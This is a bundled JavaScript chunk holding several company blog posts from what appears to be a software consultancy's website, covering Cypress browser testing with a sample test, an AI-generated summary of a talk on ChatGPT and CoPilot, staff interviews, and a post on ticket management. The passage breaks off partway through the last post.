1"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[208],{843:(e,n,t)=>{t.d(n,{Y:()=>nf});var a=t(6604);let o={slug:"cypress-automated-testing-enabling-safe-and-rapid-development",title:"Cypress Automated Testing: Enabling Safe and Rapid Development",excerpt:"Discover how Cypress testing improves development workflows from both QA and development perspectives, accelerating velocity while maintaining quality.",authors:["John Bowser"],publishDate:new Date("2023-08-03"),category:"Development",tags:["JavaScript","Testing","Communication","QA","Agile"],readTime:"6 min read",featuredImage:"/content/images/blogs/cypress-automated-testing-enabling-safe-and-rapid-development/robot_large.jpg",content:'Back in September 2020, our own Eric Wagoner wrote about his [first experience with Cypress](/resources/blog/automated-browser-testing-bridging-the-gap-between-dev-and-qa), touching on its ease of setup, easy to read and write syntax for JavaScript developers, and some of the team-related benefits of incorporating Cypress testing into a project. Since then, weâve continued to work with several clients using Cypress - whether building out a testing infrastructure from scratch or helping them expand their tests and testing capability. Weâve learned a lot over the past few years working with Cypress and in this post, Iâll share some of the biggest benefits we noticed both from a QA and development perspective.\n\n\x3c!-- cut --\x3e\n\n## cypress testing methodologies\n\nLetâs begin with a brief reminder overview of what [Cypress](https://www.cypress.io/) is. In their own words, âCypress is a next generation front end testing tool built for the modern web.â It works by launching an actual Firefox or Chromium-based browser to test your application in the same manner a human user might use it. It provides a variety of quality-of-life features including, but not limited to\n\n- easy debugging right in the browser\n- the ability to view and interact with the app at each and every step of the test\n- automatic waiting so you never have to set arbitrary sleeps to allow content to load\n- screenshots and videos of tests that fail\n\nCypress is often thought of as a replacement for End-to-End (E2E) testing tools like [Selenium](https://www.selenium.dev/), however, it is also great for writing unit, integration, and user interface (UI) tests. Cypress is pretty flexible. This means that Cypress can provide a lot of value to your development process even if you already have well-established E2E tests using a tool like Selenium that you donât want to completely rewrite.\n\n<div class="float:left">\n <img src="/content/images/blogs/cypress-automated-testing-enabling-safe-and-rapid-development/cypress_dashboard.png"\n alt="Cypress dashboard showing the testing options"\n title="Cypress has an intuitive UI">\n</div>\n\nHere at infinity interactive, we have used Cypress extensively in the context of UI tests and E2E tests. For UI tests we utilized Cypressâ built-in network [spying](https://docs.cypress.io/api/commands/spy) and [stubbing](https://docs.cypress.io/api/commands/stub) functionality. We can bypass the back end of the app and use mock API responses to easily test the gamut of success and error states within the UI. When weâve used it for E2E testing we spin up both the front end and back end of the application, allowing us to test the entire app just as a user will experience it.\n\nOne recent client called us in to help them rebuild a complex guided wizard application for onboarding new clients to their product (imagine something like TurboTax). The app had an awe-inspiring variety of possible UI states dependent on the userâs information and previous steps in the guided wizard. In this case, their QA team maintained a separate Selenium repository that was used to perform E2E tests on a nightly basis against a staging environment while the developers made use of Cypress for UI tests. Utilizing Cypress in this way meant developers were able to locally test the large variety of possible UI states in smaller chunks of the larger workflow relatively quickly by using mocked API responses and pre-defined test users, bypassing the backend of the app entirely. This made for quick, easy-to-run tests that were an integral part of the development process.\n\nFor another client, one of our tasks was to build out E2E testing for a data-intensive Laboratory Inventory Management System (LIMS) application used to track a complex series of laboratory procedures, as well as the inputs and results of said procedures. The app was used in the lab on a day-to-day basis. To ensure we could thoroughly test the application and keep up with the rapid pace of development we turned, once again, to Cypress. In this E2E use case, we used Cypress to run through the entirety of the workflow while testing not only how the UI behaved, but also the integration with the backend. This allowed us to iterate and add important features while ensuring the app, which played a vital role in the day-to-day operations of the lab, remained stable regardless of the changes made. This complete suite of E2E tests ran quickly enough that developers could easily run them locally while writing code and the Continuous Integration servers could run them as code was pushed to the repository.\n\n## cypress boosts development velocity\n\n<div class="float:right">\n <img src="/content/images/blogs/cypress-automated-testing-enabling-safe-and-rapid-development/fast_developer.jpg"\n width="400"\n alt="sprinting man with a maxed speedometer in the background"\n title="Cypress speeds up the development process">\n <div class="center">\n <a href="https://www.freepik.com/free-vector/fast-loading-concept-illustration_6183521.htm#query=sprint&position=18&from_view=search&track=country_rows_v1">Image by storyset</a> on Freepik\n </div>\n</div>\n\nThough it is generally thought of as more of a QA tool, one of the biggest benef
1its weâve seen from Cypress over the course of our work was the significant role it played in enabling us to consistently deliver high-quality work to the clients under tight time constraints.\n\nOn our guided wizard project, the existing app already had Cypress UI tests that made use of <code>data-cy</code> attributes in the HTML to find important elements on the page. Because of this, as our development team rebuilt and made drastic changes to the steps of the wizard, as long as those <code>data-cy</code> attributes were carried over to the analogous versions of elements in the new design, the Cypress tests gave us confidence that the app still behaved as expected. As developers made changes, the bulk of the Cypress tests remained the same, with only minor changes needed to reflect new copy on the page or a change in the expected colors of buttons/errors/etc from the new designs. This greatly reduced the amount of time required to manually test the changes as we developed new features.\n\nThe Cypress benefits to the LIMS project were even more significant. The project was extremely fast-paced, with weekly releases to deploy new features and address user feedback. This rapid release cycle was maintained for the two years we were on the project with Cypress playing no small part in that. Because we used Cypress for E2E testing in this project we were able to make large changes with quick turnaround times to both the front and backend of the app while maintaining a high level of confidence the app continued to work as expected. About a year into the project, the business goals changed drastically, upending many of the foundational assumptions.\n\nOur Cypress tests played a major role in allowing us to quickly pivot to meet the new business needs. The previously single-focused expected lab workflow needed to evolve and become more flexible. We needed to maintain most of the previous functionality while adding new workflows that were previously not allowed. Having a thorough suite of Cypress tests allowed us to ensure that as we made major changes to the foundations of the app we still maintained backward compatibility with the original workflow at the time of development rather than during the QA process, or worse, in production. With Cypress integrated into our CI pipeline, our developers were able to see that our tests passed before they looked at any change, which allowed them to be efficient in their review, and get the PRs approved more quickly. By running the Cypress tests during development, there was almost no need for our developers to run through the workflow by hand thanks to the ability to interact with the actual app inside the Cypress test runner.\n\n## cypress frees up QA resources\n\n<div class="float:left">\n <img src="/content/images/blogs/cypress-automated-testing-enabling-safe-and-rapid-development/qa_thumbs_up.jpg"\n width="400"\n alt="man giving a thumbs up of approval with a completed checklist in the background"\n title="Cypress gives returns important time back to QA">\n <div class="center">\n <a href="https://www.freepik.com/free-vector/product-quality-concept-illustration_18407468.htm#query=quality%20assurance&position=49&from_view=search&track=country_rows_v1">Image by storyset</a> on Freepik\n </div>\n</div>\n\nThe benefits of making Cypress tests part of the development process also spill over into benefits for QA teams. Cypress tests take a lot of the burden of regression testing away from manual QA. As mentioned earlier, this has the benefit of allowing development teams to safely move a lot more quickly and also gives QA teams more time to test new features more thoroughly. On the LIMS project, a series of regression tests on various permutations of the workflow might take hours by hand, but with Cypress, we can accomplish this in seconds. Writing Cypress tests to check for error states in form submissions and other common errors users might experience is a trivial task, taking the mundane repetitive tasks off of the QA team, and freeing them up for finding more obscure and interesting ways to break the app.\n\nWe also noticed fewer cycles of back and forth between QA and development due to bugs thanks to Cypress tests catching a majority of bugs before they made it up to a staging environment. This reduced the amount of time the QA team needed to write up bug tickets for fairly standard bugs. This, in turn, enabled QA to focus their time on more significant pre-release tasks before features were deployed to production.\n\n## conclusion\n\nWeâve found Cypress tests, whether UI or E2E, to be an extremely valuable part of the development process. A small investment of time that can pay off with big rewards. The benefits to developers, QA, and especially end users are significant. Cypress tests make for more agile teams that can release important features quicker and safer than without.\n',icon:a.A,color:"blue"};var i=t(5740);let s={slug:"the-state-of-ai-in-early-2023",title:"The State of AI in Early 2023",excerpt:"An introductory video into the sudden burst of AI tools in early 2023",authors:["Toby Deshane","Eric Wagoner"],publishDate:new Date("2023-07-07"),category:"Technology",tags:["Technology","AI","Video","Presentation"],readTime:"20 min read",content:'During an internal
1company meeting in early 2023, Toby Deshane gave a talk about the capabilities and potential risks of AI tools such as ChatGPT and CoPilot, both quite new at the time. It also addresses common questions such as ethics, cost, privacy concerns, and the growing possibility of open-source alternatives. The rapidly evolving nature of the field has aged some material here, but in general it still provides a unique insight into this exciting nascent era in history.\n\n<div class="center">\n <iframe width="560" height="315" src="https://www.youtube.com/embed/q9Ct0Pt-rrk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>\n</div>\n\n\x3c!-- cut --\x3e\n\nFor fun, we made an AI tool watch this video and summarize it for us. This is what it had to say, in raw unedited form:\n\n> **Summary**: ChatGPT is a chatbot that can respond to natural conversations and comprehend complicated questions. Meanwhile, CoPilot is an AI-assisted programming tool built on GPT-3 that can save time by generating useful code suggestions but can also produce irrelevant or inaccurate responses. The speaker warns junior programmers to avoid using CoPilot as it can introduce subtle bugs and security holes and recommends verifying and vetting code pulled from GitHub. The speaker also addresses common questions about CoPilot, including its cost, opt-out options for private data, and the possibility of open-source clones. Finally, the speaker ends with a joke and advises the audience to enjoy themselves.\n>\n> **First Five Minutes**: In this section of the video, the speaker introduces ChatGPT, a prototype of a chatbot that uses the GPT-3 model, a generative, pre-trained transformer with 175 billion parameters trained on massive corpses of publicly available data including "Common Crawl" and Wikipedia. The new model can respond to natural conversation without any special syntax, remembers the context, and comprehends complicated questions. ChatGPT can be used for mundane and creative purposes such as writing articles, generating interactive free-form text adventures, and simulating conversations with historical figures. It even has the capability of a bash prompt.\n>\n> **Second Five Minutes**: In this section, the speaker discusses the potential malicious uses of AI tools like ChatGPT. While these tools have been used for harmless coding experiments, they can also generate code from malware or be used to create completely automated, believable trolls or disinformation campaigns. The speaker notes that there is no way to go back and that humanity will need to deal with this new technology. Despite its capabilities, the speaker cautions that AI tools like GPT-3 and CoPilot are limited by their biases and inaccuracies. CoPilot, a mid-2021 AI-assisted programming tool for VS Code built on GPT-3, is introduced as an example of a more technical application of this technology.\n>\n> **Third Five Minutes**: In this section, the speaker demonstrates various examples of CoPilot\'s capabilities, including setting up an argument parser for Python, creating self-documenting opcodes for Chip-8 in C, and serving multiple endpoints for Flask API and Express API. While CoPilot can save time and generate useful code suggestions, the speaker warns that it can also produce irrelevant, inaccurate, or bizarre responses, making it crucial for an experienced programmer to sift through its suggestions. The speaker advises that junior programmers should avoid using CoPilot as it can introduce subtle bugs and security holes, and recommends verifying and vetting the code pulled from the entire corpus of GitHub.\n>\n> **Final Minutes**: In this section, the speaker addresses common questions about the chatbot AI model called CoPilot. He explains that while there is a 60-day trial, CoPilot costs \\$10 per month and there is a free tier available for educational or open-source use. Additionally, he notes that CoPilot can be opted-out of sending back private data, but it\'s uncertain what packets might be sent back to GitHub. While he couldn\'t find a clear analysis himself, there are open-source clones in the works, and for those who want to run it locally, it would be possible to have a "local AI box" that one could interrogate from their own machine. Finally, the speaker makes a joke about not being an AI before telling the audience to get drunk and signing off.\n>\n> – ChatGPT\n\nNot nearly as entertaining as Toby, but not too shabby!\n\n## Want to know more?\n\nThereâs a lot of talk about AI and all the growing capabilities, but also confusion about how
1it can positively impact your business. Weâve been focused on working with our clients for over 25 years on effectively leveraging technology. [Get in touch](/connect/), and weâd be happy to chat with you about your unique goals and challenges.\n',icon:i.A,color:"purple"};var r=t(508);let l={slug:"meet-trey-bianchini",title:"Meet Trey Bianchini",excerpt:"An interview with Trey Bianchini",authors:["Trey Bianchini","Abby Zavos","Rob Kopf"],publishDate:new Date("2021-11-05"),category:"Team",tags:["Culture","People","Interview"],readTime:"5 min read",content:'<div class="float:right">\n <img src="/content/images/blogs/meet-trey-bianchini/trey-hat.jpg"\n alt="Trey Bianchini, Picture source: Trey Bianchini"\n title="Trey Bianchini, Picture source: Trey Bianchini"\n width=250 />\n</div>\n\n_Meet Trey Bianchini, Infinity developer who, in his spare time likes to make really good espresso and also, electric guitars._\n\n**Name, Company, Title, City**\n\nTrey Bianchini, Infinity Interactive, Programmer, Omaha, NE\n\n\x3c!-- cut --\x3e\n\n**How long have you been at Infinity?**\n\nSince 2012.\n\n**What are six words you think of when you think of Infinity?**\n\nFlexible, Fun, Competent, Modern, Attentive, and Pajamas.\n\n**What is one thing you think people might not know about Infinity, but should?**\n\nItâs a very solid, stable, secure place to work even though it is 100% virtual. And we have good pay and great benefits.\n\n**Do you have a hidden talent? Juggling? Trapeze, perhaps?**\n\nI have a bunch of hobbies. I like to occasionally make balsa and or plastic models, woodworking ([luthiery](https://en.wikipedia.org/wiki/Luthier), Iâve built a few electric guitars from scratch), fishkeeping (I have a goldfish tank and a pico reef) and I play guitar and a little piano, and I like to read a lot. I think my hidden talent is napping!\n\n**Youâve built a few electric guitars. Thatâs amazing! Tell us more!**\n\nI just wanted an instrument that wasnât like what I could find in stores. I enjoy working with my hands, so I made my own. I play them all the time. The bodies are construction grade pine, salvaged from old house and barn teardowns in Nebraska (the darker ones) and the necks are maple.\n\n<div class="float:left">\n <img src="/content/images/blogs/meet-trey-bianchini/trey-guitars.jpg"\n alt="Handmade guitars, Picture source: Trey Bianchini"\n title="Handmade guitars, Picture source: Trey Bianchini"\n width="250" />\n</div>\n\n**How long did that take?**\n\nCountless hours, really. Itâs an ongoing process and I learn a little more every time I make one. If I had to make one under duress, I could probably do it in 80 person-hours but not necessarily in two weeks, if that makes sense. The process is more than just science; thereâs an art to it. I wouldnât want to take on making guitars for money. Iâm not comfortable that I have the skill level yet, and itâs not an ambition of mine.\n\n**What can always make you smile?**\n\nThe Three Stooges ([Curly!](https://www.grunge.com/204113/the-tragic-real-life-story-of-curly-from-the-three-stooges/)) and I love old movies too. My favorite movie is probably [The Best Years of Our Lives](https://www.imdb.com/title/tt0036868/), which is about men coming home after WWII and their struggles to return to normal life. I especially love old war movies. [Twelve OâClock High](https://www.imdb.com/title/tt0041996/?ref_=fn_al_tt_1) with Gregory Peck is another favorite.\n\n**Ok, why Curly?**\n\nCurly was to comedy what Larry Bird was to basketball. Curly was a comedy genius. Moe was the straight guy, I donât know what Larry was doing, and Curly was the talent of the operation. Curly was the funny one, who made it worth watching.\n\n**Dogs or cats? Support your answer.**\n\nCats. I love my cat Rascal, aka âdeath on three legsâ, affectionate independence. Also, I trust my cat not to do anything stupid that Iâd never really trust a dog not to do.\n\n<div class="float:left">\n <img src="/content/images/blogs/meet-trey-bianchini/rascal-the-cat.jpg"\n alt="Rascal the cat, Picture source: Trey Bianchini"\n title="Rascal the cat, Picture source: Trey Bianchini"\n width="250" />\n</div>\n\n**Whatâs the most unusual job youâve had?**\n\nIâve been a busboy, dishwasher, fast food worker (Arbyâs), furniture mover, junk hauler, aquarium shop employee, tree service worker, deli cook, orderly, airline reservationist, human services worker for the disabled, bartender, and computer programmer. I might have forgotten something there too.\n\n**Whatâs the last book you read and loved?**\n\nI read a lot, so⦠I just finished reading [Conan The Defender](https://bookshop.org/books/conan-the-defender/9781250177933) by Robert Jordan. I think he really captured the REH\\* vibe. I\'m currently reading Agatha Christieâs Mrs. Marple mystery [They Do it with Mirrors](https://bookshop.org/books/they-do-it-with-mirrors-a-miss-marple-mystery-9780062073648/9780062073648). A few weeks ago I read (or reread rather), [Mrs. Dalloway](https://bookshop.org/books/mrs-dalloway-9780156628709/9780156628709) by Virginia Woolf, which was the last serious book I read. The last few years, my favorite author has been [Raymond Chandler](https://en.wikipedia.org/wiki/Raymond_Chandler), and Iâve been reading some of his novels.\
1n\n\\*Ed. for the uninitiated, REH stands for [Robert E. Howard](https://en.wikipedia.org/wiki/Robert_E._Howard), author and creator of the Conan the Barbarian character.\n\n**Whatâs your morning coffee ritual?**\n\nIâm a coffee freak, and commonly use scales and timers when I make it.\n\n<img src="/content/images/blogs/meet-trey-bianchini/trey-coffee-fixins.jpg"\n alt="Coffee machine and supplies, Picture source: Trey Bianchini"\n title="Coffee machine and supplies, Picture source: Trey Bianchini" />\n\nI have a [Mazzer](https://www.mazzer.com/en/product-category/coffee-grinders/) Mini grinder that I bought used in Brooklyn that Ducks (former II employee) was nice enough to pick up and ship to me, and a [Lelit](https://lelit.com/coffee-machines/) espresso machine that I bought from 1st-line in New Jersey (highly recommended online coffee equipment company). I also like to make French press coffee and pour-overs, I have a nice hand grinder and a stovetop gooseneck kettle for that.\n\n**Where did your commitment to coffee come from?**\n\nWhen I would visit my grandpa in Jersey City, heâd make Italian espresso in one of those big nose coffee pots, and weâd have coffee with Anisette liquor after dinner. I didnât see him that often, so those moments stuck with me and I think thatâs where my love of espresso comes from. Later, in college, he gave me a [moka pot](https://en.wikipedia.org/wiki/Moka_pot), and I started making my own. It wasnât easy finding a place that served espresso in Omaha in the 80s, I can tell you.\n',icon:r.A,color:"teal"},h={slug:"meet-john-bowser",title:"Meet John Bowser",excerpt:"An interview with John Bowser",authors:["John Bowser","Rob Kopf","Abby Zavos"],publishDate:new Date("2021-10-18"),category:"Team",tags:["Culture","People","Interview"],readTime:"5 min read",content:'<div class="float:right">\n <img src="/content/images/blogs/meet-john-bowser/bowser.jpg"\n alt="John Bowser, Picture source: John Bowser"\n title="John Bowser, Picture source: John Bowser"\n width=250 />\n</div>\n\n_In this latest post in our interview series, weâd like to\nintroduce you to our own John Bowser, programmer, nature lover, cat guy._\n\n**Name, Company, Title, City**\n\nJohn Bowser, Infinity Interactive, Junior Developer, Salt Lake City, UT\n\n\x3c!-- cut --\x3e\n\n**How long have you been at Infinity?**\n\nJust over 7 months now.\n\n**What are six words you think of when you think of Infinity?**\n\nDedicated, Agile, Multi-Talented, Diverse, Experienced, Supportive\n\n**What is one thing you think people might not know about Infinity, but should?**\n\nI think Infinityâs focus on its employees is one of the main ingredients to our secret sauce. Itâs the reason we get such enthusiastic feedback from our clients, and also one of the reasons youâd be hard pressed to find a tech company with a longer average tenure than us. One of our main goals is to exceed the expectations of the clients that we partner with, and I think the reason we are able to consistently do so is because of Infinityâs investment and trust in its employees.\n\nWeâre all lifelong learners and Infinity fosters that shared trait in a variety of ways. This could come in the form of our annual company summit where we are encouraged to give short presentations on technology weâve worked with, or the careful assignment of projects that allow us to utilize skills we already have while working with something new.\n\n**Whatâs the greatest (or most memorable) piece of advice youâve ever received?**\n\nâBe present.â It might have just been because my grandmother was tired of me staring at my phone during family events, but it has helped me tremendously throughout my life. Iâve learned that âbeing presentâ has greatly improved my ability to manage stress and anxiety. It has also allowed me to recognize opportunities when they present themselves because Iâm not in my own head worrying about things I have no control over, or donât really matter that much.\n\n**Whatâs an accomplishment - big or small - that youâre particularly proud of?**\n\nI recently moved across the country at the start of the COVID-19 pandemic. Not exactly great timing. At the time, I had recently started working as a carpenter because I figured I could move anywhere and do that job. That might have been the case, if there were jobs to be had at the time. What Iâm most proud of was the fact that I was able to take a pretty rough situation and find in it the opportunity to pursue a career in programming, something Iâve been interested in since I was a child dreaming about becoming a video game developer.\n\n**How did you decide on programming?**\n\nI moved to Salt Lake City thinking that I could work construction, but the pandemic was starting and no one was building. I took a job as an overnight stocker, and would listen to podcasts while I worked. One of them prompted me to start researching online curriculum. I started building little personal websites on my computer, but wanted to learn more, so I decided to take the next step and go to coding boot camp.\n\n**Dogs or cats? Support your answer.**\n\nCats. Although my answer may be skewed by the fact that my cats act like dogs. They arenât the typical cat that only does things on their terms. They love being held, sitting on your lap, and taking up more room than they should on the bed at night. Apart from that, as someone who enjoys weekend hiking trips, it is nice knowing that you can leave big bowls of food and water and an extra litter box and the cats will be fine on their own for a few days.\n\n<img src="/content/images/blogs/meet-john-bowser/zeus-the-cat.jpg"\n alt="Zeus the cat, Picture source: John Bowser"\n title="Zeus the cat, Picture source: John Bowser" />\n\n**Whatâs the most unusual job youâve had?**\n\nCorn detasseling. Iâm not sure if it is âunusualâ, although it probably is in some parts of the country, but it was definitely a hard job. It was a summer job while I was in middle school. It definitely taught me what I didnât want to do for a living, but also taught me that I can handle just about anything if I have to.\n\n<img src="/content/images/blogs/meet-john-bowser/corn-field.jpg"\n alt="A corn field, Picture source: Andrew Martin from Pixabay"\n title="A corn field, Picture source: Andrew Martin from Pixabay" />\n\n**Obviously, we need to know more about corn detasseling. It sounds like pretty impressive work for a middle schooler. Please tell us how this works!**\n\nSo, corn detasseling. My friend and I did it for a whole summer. My parents thought Iâd quit after 3 days, but I finished. Thereâs this machine with huge tires that stands really high and it has these buckets on it, and weâd go down the corn rows and pull the tassels from the top of the corn and put it in the bucket. A machine goes first, but it misses a lot of the tassels, so we have to get all the tassels it misses. Itâs something to do with pollination, so we pulled the tassel from the female plant, I think.\n\n**Whatâs the last book you read and loved?**\n\nIâm a big Sci-Fi/Fantasy book nerd. [Brandon Sanderson](https://www.brandonsanderson.com/) is by far my favorite fantasy writer, and I love pretty much everything heâs ever written. On the Sci-Fi side of things Iâve really enjoyed the Expanse series by [James S.A. Corey](https://www.jamessacorey.com/). Currently Iâm reading Code: The Hidden Language of Computer Hardware and Software. It is a really interesting look at a variety of âcodesâ like Morse Code and Braille and how they relate to how computers work.\n',icon:r.A,color:"cyan"};var d=t(162);let c={slug:"automated-browser-testing-bridging-the-gap-between-dev-and-qa",title:"Automated Browser Testing: Bridging the Gap Between Dev and QA",excerpt:"How automated browser testing using cypress.io can bring dev and qa together.",authors:["Eric Wagoner"],publishDate:new Date("2020-09-02"),category:"Development",tags:["Technology","JavaScript","Testing","Communication","QA"],readTime:"9 min read",featuredImage:"/content/images/blogs/automated-browser-testing/robot-blog-large.jpg",content:'We recently were a part of a project with what was, in many ways, a\ntypical successful startup. The company makes hardware for a niche\nmarket, powered by their own firmware and driven by a suite of web\napplications running both on a server and locally as\n[Electron apps](https://www.electronjs.org/apps). They make a great\nproduct that is disrupting the space and theyâre growing rapidly, both\nin company size and number of users.\n\nWhat started as a small integrated team has spun up to several groups\noverseeing various aspects of the product and as that happened the\ndevelopers became somewhat siloed from the QA folks. Each group had\nits own process for keeping the quality high in the face of rapid\ngrowth, namely thorough unit tests on the development side and a\nseries of step-by-step documents used by a number of testers to\nmanually go through every page and every button of the web\napplications. Releases were coming quickly and the testers were\nspending hours upon hours methodically testing only to have to start\nall over again when another release came out of development. They were\noverworked and almost overwhelmed, and called Infinity for help.\n\n\x3c!-- cut --\x3e\n\n## automated browser testing to the rescue\n\nWe all agreed that automated browser testing was the place to start,\nand the hows and whats were left up to me. I\'d done some testing like\nthis before, using that old workhorse Selenium to drive Firefox in a\ndedicated remote testing environment. I knew it would do the job, but\nsett
1ing it up from scratch is rather daunting, especially for a modern\nJavaScript web application. During an early meeting, one of the\ndevelopers mentioned [Cypress.io](https://www.cypress.io/) so I went\nand read up on that -- and promptly fell in love.\n\nCypress is a standalone testing tool that can automate any application\nthat runs in a web browser. There\'s no environment to set up, no\nspecial drivers to integrate with a browser. Using it in a JavaScript\nproject is as simple as `npm install cypress`. It\'s free and licensed\nunder the [MIT license](https://opensource.org/licenses/MIT). It uses\nthe [Mocha testing framework](https://mochajs.org/) and the\n[Chai assertion library](https://www.chaijs.com/), so it\'s likely easy\nto use right out of the box by any JavaScript developer. It\'s capable\nof controlling any Chromium- or Firefox-based browser, which leaves\nout only IE and Safari from cross-browser testing. There are many\ntutorials and blog posts out there about technical aspects of Cypress,\nso I\'ll skip over those. Suffice it to say in an afternoon I had it\ninstalled and was running simple heartbeat tests of their web\napplications.\n\n## delving deeper in the cypress forest\n\nMore useful tests required just a bit more work. Cypress works via DOM\nmanipulation and has a robust API to help navigate through a page.\nIt\'s possible to give it general directions to the elements you want\ntested, such as "the second child of the fourth div", and I used that\nquite a bit in my early proof of concept tests. You can target\nelements by tag, class, id, text content, etc., so example tests for\nexisting code are extremely quick to set up.\n\nAs Iâm sure you can guess, keeping up with that in a rapidly iterative\napplication is a sure way to get brittle tests. While you can do\nsomething like `cy.get(\'.btn.btn-large\').click()` to grab that large\nbutton on your page, styling class names are certain to change down\nthe road and break all your tests. A better approach is to give the\nimportant elements unique identifiers. I fell into the habit of doing\nthat in my early days as a Rails developer, but it\'s not often the\ndefault behavior of JavaScript frameworks. You can use the `id` or\n`name` attribute, like `cy.get(\'[name=submission]\').click()`. That\nmight be fine if youâre hand-crafting every element, but oftentimes\nthose get generated dynamically (or not generated at all) by the JS\nframework. An even better approach is to use a special data attribute\nto contain your identifiers, like\n`cy.get(\'[data-cy=submit]\').click()`. What data attribute you use is\nconfigurable, so you can go with something easy like `data-cy`.\n\nBloated javascript code is a real issue, and we do not want all these\ntesting tags to slow down our users. When you minimize and package\nyour code for production, your tools can be configured to strip out\nthese dedicated data attributes. Your tests still run in development\nand staging environments without affecting the size of your production\napplication. Cypress even comes with an interactive view of your pages\ncalled\nâ[Selector Playground](https://docs.cypress.io/api/cypress-api/selector-playground-api.html)â\nthat can generate these attributes for you as you mouse over elements.\nHowever you get the job done, once you have the important elements\nidentified, scripting actions on the page becomes a breeze.\n\n## translating human language to automated scripts\n\nThis is where the step-by-step documents from the QA folks came into\nplay. On this project, the test plans were already in the form of\n"navigate to this page, click on that input field, type this value,\nclick that button, and you should see this happen" and that translated\ndirectly to my Mocha and Chai tests:\n\n```javascript\ncontext("The Landing Page", () => {\n before(() => {\n // The url to be tested\n cy.visit("/this-page");\n // What browser viewport?\n cy.viewport("macbook-15");\n // Say there are pop-up terms & conditions we need to agree to\n // before we can see the page, so find the button that says "YES"\n // & click it. Force it in case it\'s invisible to the test runner.\n cy.contains("YES").click({ force: true });\n });\n\n describe("The initial form", () => {\n it("types some text and clicks the button", () => {\n // Look for the element with my data tag\n cy.get("[data-cy=that-input-field]").click().type("this value").blur();\n // Find the button with the data tag\n cy.get("[data-cy=that-button]").click();\n // Go down to the new tagged div that shows the thing that\n // happened and make sure it exists\n cy.get("[data-cy=that-div]").should("exist");\n });\n });\n});\n```\n\n```shell\n[my-awesome-app] The Landing Page\n[my-awesome-app] The initial form\n â types some text and clicks the button (37ms)\n```\n\nThis direct translation is a perfect opportunity to bring the\ndevelopers and the QA folks together. Theirs can be a naturally\nadversarial relationship, and opportunities to directly collaborate\nlike this should be welcomed. In my case, QA already had a pile of\nstep-by-step documents they were using to manually test, and passing\nthose along to the developers gave them an opportunity to get\ncomfortable with the Cypress API in a way that immediately removed a\ntime-consuming burden from QA. It was easy to see how for future\ndevelopment QA would write the human scripts and pass those to the\ndeveloper to turn them into Cypress scripts. That extra bit of\ncommunication at the start of the development cycle has the added\nbenefit of making sure the developers explicitly know how the changes\nshould behave and hopefully cut down on the back and forth that can\nhappen during acceptance testing.\n\n## bells and whistles\n\nThe QA documents generally have a list of users to log in as, for use\nin testing user roles and permissions. They often have a separate set\nof instructions for setting up data to be used later on in the testing\nprocess. Developers get to use fixtures with their unit tests and can\nbe blind to the possibility that QA can need a few hours of setup time\nbefore they can even begin to do their testing and QA might not know\nthat fixtures can be of benefit to them, too. Cypress has all of the\nfixture functionality developers expect and they can be loaded in\nbefore running the integration tests or brought in as needed, giving\nall the flexibility that a person at the keyboard and mouse would\nhave.\n\nAnother feature Cypress has that can aid in this communication is\nautomatic screen recordings of failed test runs. Like everything I\nencountered with Cypress that behavior is configurable, but out of the\nbox, mp4 files are created for every failure. Those can get passed\nalong from the developer to the QA folks or the designers or whomever\nso they can see exactly how the application misbehaved. A picture is\nworth a thousand words (and static images can get generated too) but a\nquick little movie is even better.\n\nWriting these integration tests may be more up-front work for the\ndevelopers, but they\'re already writing similar unit tests so it\'s\nfamiliar work. And where there is a lot of overlap, that\'s a sign that\nperhaps the unit tests can be simplified. Since Cypress.io is\ninstalled as part of your application, it has access to both the front\nand back ends, and the API lets you make the most of that. Letâs say\nthat a developer wants to be sure a method is called with the correct\narguments when a specific button is pushed. The test can âspyâ on that\nmethod and assert what should be happening there. Similarly, tests can\nstub out methods, resolve promises, and even manipulate the JavaScript\nclock to test debounces and timeouts.\n\nAnd of course, developers may want to automate the automation, so\ntests get run automatically as code is written, committed, and\ndeployed. It\'s simple to add Cypress in with the existing IDE, Git\nhooks, and Continuous Integration process you might have, so the\nadditional overhead is low.\n\n## big bang for the buck\n\nAutomated browser testing can easily get dismissed as something that\nwould be nice to have, but not worth the effort. Folks
1with scars from\nprojects using Selenium might be especially hesitant to implement this\nstep in the development cycle. But as youâve seen above, browser\ntesting gives you far more than a robot to push buttons on a web page.\nIt brings QA and dev staff together, it produces more robust code, and\nit saves time throughout the development process. And with the ease of\ninstallation and use, Cypress.io provides a high leverage point\nlifting your project to success.\n',icon:d.A,color:"indigo"};var u=t(5483);let p={slug:"free-puppies-free-tickets-and-being-smart",title:"Free Puppies, Free Tickets, & Being Smart",excerpt:"At Infinity, tickets are free â¦like puppies. Learn how we keep our tickets free and SMART",authors:["John SJ Anderson"],publishDate:new Date("2020-06-18"),category:"Culture",tags:["Culture","Communication"],readTime:"7 min read",content:'<div class="float:right">\n <img src="/content/images/blogs/free-puppies-free-tickets-and-being-smart/sammy.jpg"\n alt="Picture of an alert looking, rather cute, black and brown dog, staring straight into the camera"\n title="My dog, Sammy. Sammy is a good doggo.">\n</div>\n\nHere at Infinity, one of our core precepts â coined by former\nInfin-ite Shawn Moore â is the notion that âtickets are freeâ. The\nidea is that you should never waste time wondering âshould I make a\nticket for this?â Instead, just make the damn ticket! In the immortal\nwords of John Blutarsky, âit donât cost nuthinâ.â\n\nWith an opening paragraph like that, youâre probably expecting some\nsort of listicle of all the ways adopting our âtickets are freeâ credo\nwill help make your software development efforts better and\nturbocharge your coders to new heights of productivity. That is not\nwhat youâre gonna get, however. Nope! Instead, Iâm going to talk to\nyou about _how_ tickets are free⦠because theyâre not free like beer,\nbut instead are free like puppies. And then Iâll share ways to make\nsure your freely created tickets are usefully propelling your project\nforward, instead of bogging it down.\n\n\x3c!-- cut --\x3e\n\nIf youâve never raised a puppy you might be thinking, âwhatâs the\nproblem with free like puppies?â The problem is that puppies, while\ngenerally wonderful and cute, also represent an ongoing obligation.\nYouâve got to walk them, feed them, get them socialized to being\naround people and other dogs, and most importantly, you need to train\nthem, so your puppies grow up to be good doggos. What Iâve been slowly\nrealizing, over several years writing code and providing technical\nleadership in projects that adhere to a âtickets are freeâ approach is\nthat, unless youâre disciplined â much like you have to be disciplined\nwhen raising and training a puppy â âtickets are freeâ can lead to a\nmassive backlog of unactionable, low-quality tickets.\n\n## big smelly backlogs\n\nTo me, a large backlog of open, stale tickets that arenât ever going\nto be acted on is a huge\n[project smell](https://en.wikipedia.org/wiki/Code_smell). Itâs a sign\nthe project isnât being 